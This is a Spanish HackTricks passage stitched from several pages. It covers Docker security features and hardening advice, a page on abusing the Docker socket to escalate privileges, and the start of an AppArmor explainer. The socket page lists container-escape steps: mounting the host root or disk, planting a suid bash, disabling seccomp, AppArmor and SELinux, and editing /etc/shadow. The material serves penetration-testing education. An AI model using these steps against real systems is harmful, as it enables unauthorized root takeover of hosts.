* **Cuando** la confianza del contenido está **habilitada**, solo podemos **descargar imágenes firmadas**. Cuando se empuja una imagen, es necesario ingresar la clave de etiquetado.
|
||||
* Cuando el **editor** **envía** la imagen por **primera vez** usando docker push, es necesario ingresar una **contraseña** para la **clave raíz y la clave de etiquetado**. Las demás claves se generan automáticamente.
|
||||
* Docker también ha agregado soporte para claves de hardware usando Yubikey y los detalles están disponibles [aquí](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
|
||||
A continuación se presenta el **error** que obtenemos cuando **la confianza del contenido está habilitada y la imagen no está firmada**.
|
||||
```shell-session
|
||||
$ docker pull smakam/mybusybox
|
||||
Using default tag: latest
|
||||
No trust data for latest
|
||||
```
|
||||
El siguiente resultado muestra la imagen del contenedor siendo enviada a Docker Hub con la firma habilitada. Como no es la primera vez, se solicita al usuario que ingrese solo la frase de contraseña para la clave del repositorio.
|
||||
```shell-session
|
||||
$ docker push smakam/mybusybox:v2
|
||||
The push refers to a repository [docker.io/smakam/mybusybox]
|
||||
a7022f99b0cc: Layer already exists
|
||||
5f70bf18a086: Layer already exists
|
||||
9508eff2c687: Layer already exists
|
||||
v2: digest: sha256:8509fa814029e1c1baf7696b36f0b273492b87f59554a33589e1bd6283557fc9 size: 2205
|
||||
Signing and pushing trust metadata
|
||||
Enter passphrase for repository key with ID 001986b (docker.io/smakam/mybusybox):
|
||||
```
|
||||
Es necesario almacenar la clave raíz, la clave del repositorio y la frase de contraseña en un lugar seguro. El siguiente comando se puede utilizar para hacer una copia de seguridad de las claves privadas:
|
||||
```bash
|
||||
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
|
||||
```
|
||||
Cuando cambié el host de Docker, tuve que mover las claves raíz y las claves del repositorio para operar desde el nuevo host.
|
||||
|
||||
![](<../../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtenga acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Características de seguridad de los contenedores
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Resumen de las características de seguridad de los contenedores</summary>
|
||||
|
||||
#### Espacios de nombres
|
||||
|
||||
Los espacios de nombres son útiles para aislar un proyecto de los demás, aislando las comunicaciones de los procesos, la red, los montajes... Es útil para aislar el proceso de Docker de otros procesos (e incluso de la carpeta /proc) para que no pueda escapar abusando de otros procesos.
|
||||
|
||||
Podría ser posible "escapar" o más exactamente **crear nuevos espacios de nombres** utilizando el binario **`unshare`** (que utiliza la llamada al sistema **`unshare`**). Docker por defecto lo previene, pero Kubernetes no (en el momento de escribir esto).\
|
||||
De todas formas, esto es útil para crear nuevos espacios de nombres, pero **no para volver a los espacios de nombres predeterminados del host** (a menos que tenga acceso a algún `/proc` dentro de los espacios de nombres del host, donde podría usar **`nsenter`** para entrar en los espacios de nombres del host).
|
||||
|
||||
#### CGroups
|
||||
|
||||
Esto permite limitar los recursos y no afecta a la seguridad del aislamiento del proceso (excepto para el `release_agent` que podría ser utilizado para escapar).
|
||||
|
||||
#### Capabilities Drop
|
||||
|
||||
Encuentro que esta es una de las características **más importantes** en cuanto a la seguridad del aislamiento del proceso. Esto se debe a que sin las capacidades, incluso si el proceso se está ejecutando como root, **no podrá realizar algunas acciones privilegiadas** (porque la llamada al sistema **`syscall`** devolverá un error de permiso porque el proceso no tiene las capacidades necesarias).
|
||||
|
||||
Estas son las **capacidades restantes** después de que el proceso abandona las demás:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Seccomp
|
||||
|
||||
Está habilitado por defecto en Docker. Ayuda a **limitar aún más las llamadas al sistema** que el proceso puede realizar.\
|
||||
El **perfil Seccomp predeterminado de Docker** se puede encontrar en [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
|
||||
|
||||
#### AppArmor
|
||||
|
||||
Docker tiene una plantilla que se puede activar: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
Esto permitirá reducir las capacidades, llamadas al sistema, acceso a archivos y carpetas...
|
||||
|
||||
</details>
|
||||
|
||||
### Namespaces
|
||||
|
||||
**Namespaces** son una característica del kernel de Linux que **particiona los recursos del kernel** de tal manera que un conjunto de **procesos ve** un conjunto de **recursos** mientras que **otro** conjunto de **procesos** ve un **conjunto diferente** de recursos. La característica funciona teniendo el mismo espacio de nombres para un conjunto de recursos y procesos, pero esos espacios de nombres se refieren a recursos distintos. Los recursos pueden existir en múltiples espacios.
|
||||
|
||||
Docker hace uso de los siguientes espacios de nombres del kernel de Linux para lograr el aislamiento del contenedor:
|
||||
|
||||
* espacio de nombres pid
|
||||
* espacio de nombres de montaje
|
||||
* espacio de nombres de red
|
||||
* espacio de nombres ipc
|
||||
* espacio de nombres UTS
|
||||
|
||||
Para **más información sobre los espacios de nombres**, consulte la siguiente página:
|
||||
|
||||
{% content-ref url="namespaces/" %}
|
||||
[namespaces](namespaces/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### cgroups
|
||||
|
||||
La característica del kernel de Linux **cgroups** proporciona la capacidad de **restringir recursos como la CPU, la memoria, la E / S, el ancho de banda de la red entre** un conjunto de procesos. Docker permite crear contenedores utilizando la característica cgroup que permite el control de recursos para el contenedor específico.\
|
||||
A continuación se muestra un contenedor creado con una memoria de espacio de usuario limitada a 500m, una memoria de kernel limitada a 50m, una cuota de CPU de 512, un peso de blkioweight de 400. La cuota de CPU es una proporción que controla el uso de CPU del contenedor. Tiene un valor predeterminado de 1024 y un rango entre 0 y 1024. Si tres contenedores tienen la misma cuota de CPU de 1024, cada contenedor puede tomar hasta el 33% de la CPU en caso de conflicto de recursos de CPU. blkio-weight es una proporción que controla la E / S del contenedor. Tiene un valor predeterminado de 500 y un rango entre 10 y 1000.
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
Para obtener el cgroup de un contenedor puedes hacer lo siguiente:
|
||||
```bash
|
||||
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
|
||||
ps -ef | grep 1234 #Get info about the sleep process
|
||||
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
|
||||
```
|
||||
Para obtener más información, consulte:
|
||||
|
||||
{% content-ref url="cgroups.md" %}
|
||||
[cgroups.md](cgroups.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Capacidades
|
||||
|
||||
Las capacidades permiten un **control más fino de las capacidades que se pueden permitir** para el usuario root. Docker utiliza la función de capacidad del kernel de Linux para **limitar las operaciones que se pueden realizar dentro de un contenedor** independientemente del tipo de usuario.
|
||||
|
||||
Cuando se ejecuta un contenedor de Docker, el **proceso elimina las capacidades sensibles que el proceso podría usar para escapar del aislamiento**. Esto intenta asegurar que el proceso no pueda realizar acciones sensibles y escapar:
|
||||
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Seccomp en Docker
|
||||
|
||||
Esta es una función de seguridad que permite a Docker **limitar las llamadas al sistema** que se pueden utilizar dentro del contenedor:
|
||||
|
||||
{% content-ref url="seccomp.md" %}
|
||||
[seccomp.md](seccomp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### AppArmor en Docker
|
||||
|
||||
**AppArmor** es una mejora del kernel para confinar los **contenedores** a un **conjunto limitado de recursos** con **perfiles por programa**:
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### SELinux en Docker
|
||||
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) es un **sistema de etiquetado**. Cada **proceso** y cada **objeto del sistema de archivos** tiene una **etiqueta**. Las políticas de SELinux definen reglas sobre lo que una **etiqueta de proceso puede hacer con todas las demás etiquetas** en el sistema.
|
||||
|
||||
Los motores de contenedores lanzan **procesos de contenedor con una sola etiqueta SELinux confinada**, generalmente `container_t`, y luego establecen el contenedor dentro del contenedor para que tenga la etiqueta `container_file_t`. Las reglas de la política de SELinux básicamente dicen que los **procesos `container_t` solo pueden leer/escribir/ejecutar archivos etiquetados como `container_file_t`**.
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### AuthZ y AuthN
|
||||
|
||||
Un complemento de autorización **aprueba** o **deniega** **solicitudes** al **daemon** de Docker en función tanto del contexto de **autenticación** actual como del contexto de **comando**. El contexto de **autenticación** contiene todos los detalles del **usuario** y el **método de autenticación**. El contexto de **comando** contiene todos los datos de **solicitud** relevantes.
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Interesantes banderas de Docker
|
||||
|
||||
### Bandera --privileged
|
||||
|
||||
En la siguiente página, puede aprender **qué implica la bandera `--privileged`**:
|
||||
|
||||
{% content-ref url="docker-privileged.md" %}
|
||||
[docker-privileged.md](docker-privileged.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### --security-opt
|
||||
|
||||
#### no-new-privileges
|
||||
|
||||
Si está ejecutando un contenedor donde un atacante logra obtener acceso como usuario de baja privilegiado. Si tiene un **binario suid mal configurado**, el atacante puede abusar de él y **escalar privilegios dentro** del contenedor. Lo que puede permitirle escapar de él.
|
||||
|
||||
Ejecutar el contenedor con la opción **`no-new-privileges`** habilitada **evitará este tipo de escalada de privilegios**.
|
||||
```
|
||||
docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
```
|
||||
#### Otros
|
||||
```bash
|
||||
#You can manually add/drop capabilities with
|
||||
--cap-add
|
||||
--cap-drop
|
||||
|
||||
# You can manually disable seccomp in docker with
|
||||
--security-opt seccomp=unconfined
|
||||
|
||||
# You can manually disable seccomp in docker with
|
||||
--security-opt apparmor=unconfined
|
||||
|
||||
# You can manually disable selinux in docker with
|
||||
--security-opt label:disable
|
||||
```
|
||||
Para más opciones de **`--security-opt`**, consulta: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
|
||||
|
||||
![](<../../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Otras consideraciones de seguridad
|
||||
|
||||
### Gestión de secretos
|
||||
|
||||
En primer lugar, **¡no los incluyas dentro de tu imagen!**
|
||||
|
||||
Además, **no utilices variables de entorno** para tu información confidencial. Cualquier persona que pueda ejecutar `docker inspect` o `exec` en el contenedor puede encontrar tu secreto.
|
||||
|
||||
Los volúmenes de Docker son mejores. Son la forma recomendada de acceder a tu información confidencial en la documentación de Docker. Puedes **utilizar un volumen como sistema de archivos temporal en memoria**. Los volúmenes eliminan el riesgo de `docker inspect` y de registro. Sin embargo, **los usuarios root aún podrían ver el secreto, al igual que cualquiera que pueda `exec` en el contenedor**.
|
||||
|
||||
Incluso **mejor que los volúmenes, utiliza los secretos de Docker**.
|
||||
|
||||
Si solo necesitas el **secreto en tu imagen**, puedes utilizar **BuildKit**. BuildKit reduce significativamente el tiempo de construcción y tiene otras características interesantes, incluyendo el soporte de secretos en tiempo de construcción.
|
||||
|
||||
Hay tres formas de especificar el backend de BuildKit para que puedas utilizar sus características ahora:
|
||||
|
||||
1. Establécelo como una variable de entorno con `export DOCKER_BUILDKIT=1`.
|
||||
2. Inicia tu comando `build` o `run` con `DOCKER_BUILDKIT=1`.
|
||||
3. Habilita BuildKit de forma predeterminada. Establece la configuración en /_etc/docker/daemon.json_ en _true_ con: `{ "features": { "buildkit": true } }`. Luego reinicia Docker.
|
||||
4. Luego puedes utilizar secretos en tiempo de construcción con la bandera `--secret` de la siguiente manera:
|
||||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
Donde su archivo especifica sus secretos como pares clave-valor.
|
||||
|
||||
Estos secretos se excluyen de la caché de compilación de la imagen y de la imagen final.
|
||||
|
||||
Si necesita su **secreto en su contenedor en ejecución**, y no solo al construir su imagen, use **Docker Compose o Kubernetes**.
|
||||
|
||||
Con Docker Compose, agregue el par clave-valor de secretos a un servicio y especifique el archivo secreto. Un agradecimiento especial a la respuesta de [Stack Exchange](https://serverfault.com/a/936262/535325) por el consejo de secretos de Docker Compose del que se adapta el siguiente ejemplo.
|
||||
|
||||
Ejemplo de docker-compose.yml con secretos:
|
||||
```yaml
|
||||
version: "3.7"
|
||||
|
||||
services:
|
||||
|
||||
my_service:
|
||||
image: centos:7
|
||||
entrypoint: "cat /run/secrets/my_secret"
|
||||
secrets:
|
||||
- my_secret
|
||||
|
||||
secrets:
|
||||
my_secret:
|
||||
file: ./my_secret_file.txt
|
||||
```
|
||||
Si estás utilizando Docker Compose, inicia el servicio como de costumbre con `docker-compose up --build my_service`.
|
||||
|
||||
Si estás utilizando [Kubernetes](https://kubernetes.io/docs/concepts/configuration/secret/), este tiene soporte para secretos. [Helm-Secrets](https://github.com/futuresimple/helm-secrets) puede ayudar a hacer más fácil la gestión de secretos en K8s. Además, K8s tiene Controles de Acceso Basados en Roles (RBAC) - al igual que Docker Enterprise. RBAC hace que la gestión de los secretos sea más manejable y segura para los equipos.
|
||||
|
||||
### gVisor
|
||||
|
||||
**gVisor** es un kernel de aplicación, escrito en Go, que implementa una porción sustancial de la superficie del sistema Linux. Incluye un tiempo de ejecución de la [Iniciativa de Contenedor Abierto (OCI)](https://www.opencontainers.org) llamado `runsc` que proporciona un **límite de aislamiento entre la aplicación y el kernel del host**. El tiempo de ejecución `runsc` se integra con Docker y Kubernetes, lo que hace que sea sencillo ejecutar contenedores en sandbox.
|
||||
|
||||
{% embed url="https://github.com/google/gvisor" %}
|
||||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers** es una comunidad de código abierto que trabaja para construir un tiempo de ejecución de contenedor seguro con máquinas virtuales ligeras que se sienten y funcionan como contenedores, pero proporcionan una **mayor aislamiento de carga de trabajo utilizando la tecnología de virtualización de hardware como una segunda capa de defensa**.
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
|
||||
### Consejos resumidos
|
||||
|
||||
* **No utilices la bandera `--privileged` ni montes un** [**socket de Docker dentro del contenedor**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** El socket de Docker permite la creación de contenedores, por lo que es una forma fácil de tomar el control total del host, por ejemplo, ejecutando otro contenedor con la bandera `--privileged`.
|
||||
* No **ejecutes como root dentro del contenedor. Utiliza un** [**usuario diferente**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **y** [**espacios de nombres de usuario**](https://docs.docker.com/engine/security/userns-remap/)**.** El root en el contenedor es el mismo que en el host a menos que se remapee con espacios de nombres de usuario. Sólo está ligeramente restringido por, principalmente, los espacios de nombres de Linux, las capacidades y los cgroups.
|
||||
* [**Elimina todas las capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) y habilita sólo las que se requieren** (`--cap-add=...`). Muchas cargas de trabajo no necesitan capacidades y añadirlos aumenta el alcance de un posible ataque.
|
||||
* [**Utiliza la opción de seguridad "no-new-privileges"**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para evitar que los procesos obtengan más privilegios, por ejemplo, a través de binarios suid.
|
||||
* [**Limita los recursos disponibles para el contenedor**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Los límites de recursos pueden proteger la máquina de ataques de denegación de servicio.
|
||||
* **Ajusta los perfiles de** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** para restringir las acciones y las llamadas al sistema disponibles para el contenedor al mínimo requerido.
|
||||
* **Utiliza** [**imágenes oficiales de Docker**](https://docs.docker.com/docker-hub/official\_images/) **y exige firmas** o construye las tuyas propias basadas en ellas. No heredes ni utilices imágenes [con puertas traseras](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). También guarda las claves raíz, la frase de contraseña en un lugar seguro. Docker tiene planes para gestionar las claves con UCP.
|
||||
* **Reconstruye regularmente** tus imágenes para **aplicar parches de seguridad al host e imágenes.**
|
||||
* Gestiona tus **secretos sabiamente** para que sea difícil para el atacante acceder a ellos.
|
||||
* Si **expones el demonio de Docker, utiliza HTTPS** con autenticación de cliente y servidor.
|
||||
* En tu Dockerfile, **prefiere COPY en lugar de ADD**. ADD extrae automáticamente archivos comprimidos y puede copiar archivos desde URLs. COPY no tiene estas capacidades. Siempre que sea posible, evita el uso de ADD para no ser susceptible a ataques a través de URLs remotas y archivos Zip.
|
||||
* Ten **contenedores separados para cada microservicio**
|
||||
* **No pongas ssh** dentro del contenedor, se puede utilizar "docker exec" para ssh al contenedor.
|
||||
* Ten **imágenes de contenedor más pequeñas**
|
||||
|
||||
## Escape de Docker / Escalada de privilegios
|
||||
|
||||
Si estás **dentro de un contenedor de Docker** o tienes acceso a un usuario en el **grupo de Docker**, podrías intentar **escapar y escalar privilegios**:
|
||||
|
||||
{% content-ref url="docker-breakout-privilege-escalation/" %}
|
||||
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Bypass del plugin de autenticación de Docker
|
||||
|
||||
Si tienes acceso al socket de Docker o tienes acceso a un usuario en el **grupo de Docker pero tus acciones están siendo limitadas por un plugin de autenticación de Docker**, comprueba si puedes **bypass**:
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Reforzamiento de Docker
|
||||
|
||||
* La herramienta [**docker-bench-security**](https://github.com/docker/docker-bench-security) es un script que comprueba docenas de prácticas comunes de seguridad en la implementación de contenedores de Docker en producción. Las pruebas son todas automatizadas y se basan en el [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
Necesitas ejecutar la herramienta desde el host que ejecuta Docker o desde un contenedor con suficientes privilegios. Encuentra **cómo ejecutarla en el README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits
|
|
@ -0,0 +1,76 @@
|
|||
# Abusando del Socket de Docker para Escalada de Privilegios
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
En algunas ocasiones, solo tienes **acceso al socket de Docker** y quieres usarlo para **escalar privilegios**. Algunas acciones pueden ser muy sospechosas y es posible que desees evitarlas, por lo que aquí puedes encontrar diferentes banderas que pueden ser útiles para escalar privilegios:
|
||||
|
||||
### A través de montaje
|
||||
|
||||
Puedes **montar** diferentes partes del **sistema de archivos** en un contenedor que se ejecuta como root y **acceder** a ellas.\
|
||||
También puedes **abusar de un montaje para escalar privilegios** dentro del contenedor.
|
||||
|
||||
* **`-v /:/host`** -> Monta el sistema de archivos del host en el contenedor para que puedas **leer el sistema de archivos del host.**
|
||||
* Si quieres **sentirte como si estuvieras en el host** pero estando en el contenedor, puedes deshabilitar otros mecanismos de defensa usando banderas como:
|
||||
* `--privileged`
|
||||
* `--cap-add=ALL`
|
||||
* `--security-opt apparmor=unconfined`
|
||||
* `--security-opt seccomp=unconfined`
|
||||
* `-security-opt label:disable`
|
||||
* `--pid=host`
|
||||
* `--userns=host`
|
||||
* `--uts=host`
|
||||
* `--cgroupns=host`
|
||||
* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Esto es similar al método anterior, pero aquí estamos **montando el disco del dispositivo**. Luego, dentro del contenedor, ejecuta `mount /dev/sda1 /mnt` y puedes **acceder** al **sistema de archivos del host** en `/mnt`
|
||||
* Ejecuta `fdisk -l` en el host para encontrar el dispositivo `</dev/sda1>` para montar
|
||||
* **`-v /tmp:/host`** -> Si por alguna razón solo puedes **montar algún directorio** del host y tienes acceso dentro del host. Monta y crea un **`/bin/bash`** con **suid** en el directorio montado para que puedas **ejecutarlo desde el host y escalar a root**.
|
||||
|
||||
{% hint style="info" %}
|
||||
Ten en cuenta que tal vez no puedas montar la carpeta `/tmp` pero puedes montar una **carpeta diferente que sea escribible**. Puedes encontrar directorios escribibles usando: `find / -writable -type d 2>/dev/null`
|
||||
|
||||
**Ten en cuenta que no todos los directorios en una máquina Linux admitirán el bit suid!** Para verificar qué directorios admiten el bit suid, ejecuta `mount | grep -v "nosuid"`. Por ejemplo, por lo general, `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` y `/var/lib/lxcfs` no admiten el bit suid.
|
||||
|
||||
También ten en cuenta que si puedes **montar `/etc`** o cualquier otra carpeta **que contenga archivos de configuración**, puedes cambiarlos desde el contenedor de Docker como root para **abusar de ellos en el host** y escalar privilegios (tal vez modificando `/etc/shadow`).
|
||||
{% endhint %}
|
||||
|
||||
### Escapando del contenedor
|
||||
|
||||
* **`--privileged`** -> Con esta bandera, [eliminas todo el aislamiento del contenedor](docker-privileged.md#what-affects). Consulta técnicas para [escapar de contenedores privilegiados como root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
|
||||
* **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Para [escalar abusando de las capacidades](../linux-capabilities.md), **concede esa capacidad al contenedor** y deshabilita otros métodos de protección que puedan evitar que funcione el exploit.
|
||||
|
||||
### Curl
|
||||
|
||||
En esta página hemos discutido formas de escalar privilegios usando banderas de Docker, puedes encontrar **formas de abusar de estos métodos usando el comando curl** en la página:
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
267
linux-hardening/privilege-escalation/docker-security/apparmor.md
Normal file
267
linux-hardening/privilege-escalation/docker-security/apparmor.md
Normal file
|
@ -0,0 +1,267 @@
|
|||
## Información básica
|
||||
|
||||
**AppArmor** es una mejora del kernel para confinar **programas** a un **conjunto limitado de recursos** con **perfiles por programa**. Los perfiles pueden **permitir capacidades** como acceso a la red, acceso a sockets en bruto y permisos para leer, escribir o ejecutar archivos en rutas coincidentes.
|
||||
|
||||
Es un Control de Acceso Obligatorio o **MAC** que vincula los atributos de **control de acceso** a **programas en lugar de usuarios**.\
|
||||
El confinamiento de AppArmor se proporciona mediante **perfiles cargados en el kernel**, normalmente en el arranque.\
|
||||
Los perfiles de AppArmor pueden estar en uno de **dos modos**:
|
||||
|
||||
* **Ejecución**: Los perfiles cargados en modo de ejecución darán lugar a la **ejecución de la política** definida en el perfil **así como a la notificación** de intentos de violación de la política (ya sea a través de syslog o auditd).
|
||||
* **Queja**: Los perfiles en modo de queja **no harán cumplir la política** sino que en su lugar **notificarán** los intentos de **violación de la política**.
|
||||
|
||||
AppArmor difiere de algunos otros sistemas MAC en Linux: es **basado en rutas**, permite la mezcla de perfiles de modo de ejecución y de queja, utiliza archivos de inclusión para facilitar el desarrollo y tiene una barrera de entrada mucho más baja que otros sistemas MAC populares.
|
||||
|
||||
### Partes de AppArmor
|
||||
|
||||
* **Módulo del kernel**: Realiza el trabajo real
|
||||
* **Políticas**: Define el comportamiento y la contención
|
||||
* **Analizador**: Carga las políticas en el kernel
|
||||
* **Utilidades**: Programas de usuario para interactuar con AppArmor
|
||||
|
||||
### Rutas de perfiles
|
||||
|
||||
Los perfiles de AppArmor suelen guardarse en _**/etc/apparmor.d/**_\
|
||||
Con `sudo aa-status` podrás listar los binarios que están restringidos por algún perfil. Si puedes cambiar el carácter "/" por un punto de la ruta de cada binario listado, obtendrás el nombre del perfil de AppArmor dentro de la carpeta mencionada.
|
||||
|
||||
Por ejemplo, un perfil de **AppArmor** para _/usr/bin/man_ se encontrará en _/etc/apparmor.d/usr.bin.man_
|
||||
|
||||
### Comandos
|
||||
```bash
|
||||
aa-status #check the current status
|
||||
aa-enforce #set profile to enforce mode (from disable or complain)
|
||||
aa-complain #set profile to complain mode (from diable or enforcement)
|
||||
apparmor_parser #to load/reload an altered policy
|
||||
aa-genprof #generate a new profile
|
||||
aa-logprof #used to change the policy when the binary/program is changed
|
||||
aa-mergeprof #used to merge the policies
|
||||
```
|
||||
## Creando un perfil
|
||||
|
||||
* Para indicar el ejecutable afectado, se permiten **rutas absolutas y comodines** (para la expansión de archivos) para especificar archivos.
|
||||
* Para indicar el acceso que el binario tendrá sobre **archivos**, se pueden utilizar los siguientes **controles de acceso**:
|
||||
* **r** (lectura)
|
||||
* **w** (escritura)
|
||||
* **m** (mapeo de memoria como ejecutable)
|
||||
* **k** (bloqueo de archivo)
|
||||
* **l** (creación de enlaces duros)
|
||||
* **ix** (para ejecutar otro programa con la nueva política heredada)
|
||||
* **Px** (ejecutar bajo otro perfil, después de limpiar el entorno)
|
||||
